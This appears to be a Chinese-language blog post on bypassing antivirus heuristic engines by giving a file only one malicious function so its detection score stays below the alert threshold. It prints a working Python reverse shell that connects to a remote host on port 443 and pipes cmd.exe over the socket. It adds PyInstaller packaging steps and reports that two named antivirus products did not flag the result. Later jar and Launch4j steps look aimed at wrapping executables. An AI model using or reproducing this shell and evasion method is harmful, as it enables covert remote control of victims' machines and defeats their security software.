防病毒软件供应商需要处理的中心问题之一是误报
防病毒软件不应该向用户报告发生的每一个微小的、无关紧要的事件
如果是这样,用户可能被迫放弃该防病毒软件,并切换到另一个在正常使用期间创建更少中断的防病毒软件。
为了应对假阳性检测,防病毒厂商提高了他们的检测率
例如,如果一个文件没有在静态和动态引擎中签名,启发式引擎将运行,并开始使用各种参数自行计算该文件是否是恶意的
例如,防病毒软件将尝试确定文件是否正在打开套接字、 执行下放到持久性文件夹以及从远程服务器接收命令
例如,该文件被检测为恶意文件,杀毒软件将阻止其运行,这一比率可能为70%。 要利用这种情况执行防病毒绕过
我们需要问一个重要问题: 当恶意文件执行单个恶意功能时,防病毒软件会发出警报吗? 因此,它取决于功能。如果我们谈论的功能不一定是恶意的,防病毒软件会检测到该文件包含恶意功能,但得分不会高到向用户发出警报或阻止恶意文件运行, 因此防病毒软件会允许该文件运行
关键就在于: 启发式引擎的这种行为正是我们可以利用的绕过杀毒软件
so,如果只有一个条件为真,文件的得分就会增加,防病毒软件就会检测到该文件是恶意的并对其进行签名
但如果得分较低,防病毒程序将不会发出恶意软件警报,即使它包含恶意功能
使用一个连接到远程命令和控制服务器的Python程序
import os, socket, sys
import threading as trd
import subprocess as sb
def sock2proc(s, p):
while True:
p.stdin.write(s.recv(1024).decode()); p.stdin.flush()
def proc2sock(s, p):
Antivirus bypass using a single malicious functionality 165
while True:
s.send(p.stdout.read(1).encode())
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect(("x.x.x.x", 443))
break
except:
pass
p=sb.Popen(["cmd.exe"], stdout=sb.PIPE, stderr=sb.
STDOUT, stdin=sb.PIPE, shell=True, text=True)
trd.Thread(target=sock2proc, args=[s,p], daemon=True).start()
trd.Thread(target=proc2sock, args=[s,p], daemon=True).start()
try:
p.wait()
except:
s.close()
sys.exit(0)
python.exe -m pip install --upgrade pip
使用pip安装:
pip install pyinstaller -i https://pypi.tuna.tsinghua.edu.cn/simple some-package
使用pyinstaller
即可
pyinstaller --onefile python.py
本地测试 用Netcat监听
笔者测试 火绒和360都是过的
执行一些危险的命令也是可以的
以一个简单的Java Gui程序进行演示
import java.util.Scanner;
import javax.swing.JOptionPane;
public class Test1{
public static void main(String[] args){
while(true){
System.out.print("Please input:");
Scanner s=new Scanner(System.in);
String str=s.nextLine();
if("ByeBye".equals(str)){
System.out.print("The process is over");
System.exit(0);
}else{
JOptionPane.showMessageDialog(null, "You input is "+str, str, JOptionPane.PLAIN_MESSAGE);
}
}
}
}
javac .\Test1.java
java Test1
成功弹窗
jar cvf Test1.jar Test1.class
运行jar 文件
java -jar Test1.jar
报错:Test1.jar
中没有主清单属性
原因是因为:我们创建的 jar 文件创建了一个默认的 manifest.mf
文件,该文件不知道main 方法所在的位置
创建一个名为manifest.txt
的文本文件
进行添加Main-Clas
Main-Class: Test1
不要尝试手动将其添加到 JAR 文件中的 MANIFEST 文件中,是行不通的
MANIFEST.MF
文件中添加位于类的主要方法jar cmf manifest.txt Test1.jar Test1.class
java -jar .\Test1.jar
使用Launch4j
下载链接:https://sourceforge.net/projects/launch4j/files/
与自己电脑相匹配
技术不是一个单一的,即使我们使用特定的技术设法通过静态引擎
但是 肯定不是持久的
36 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!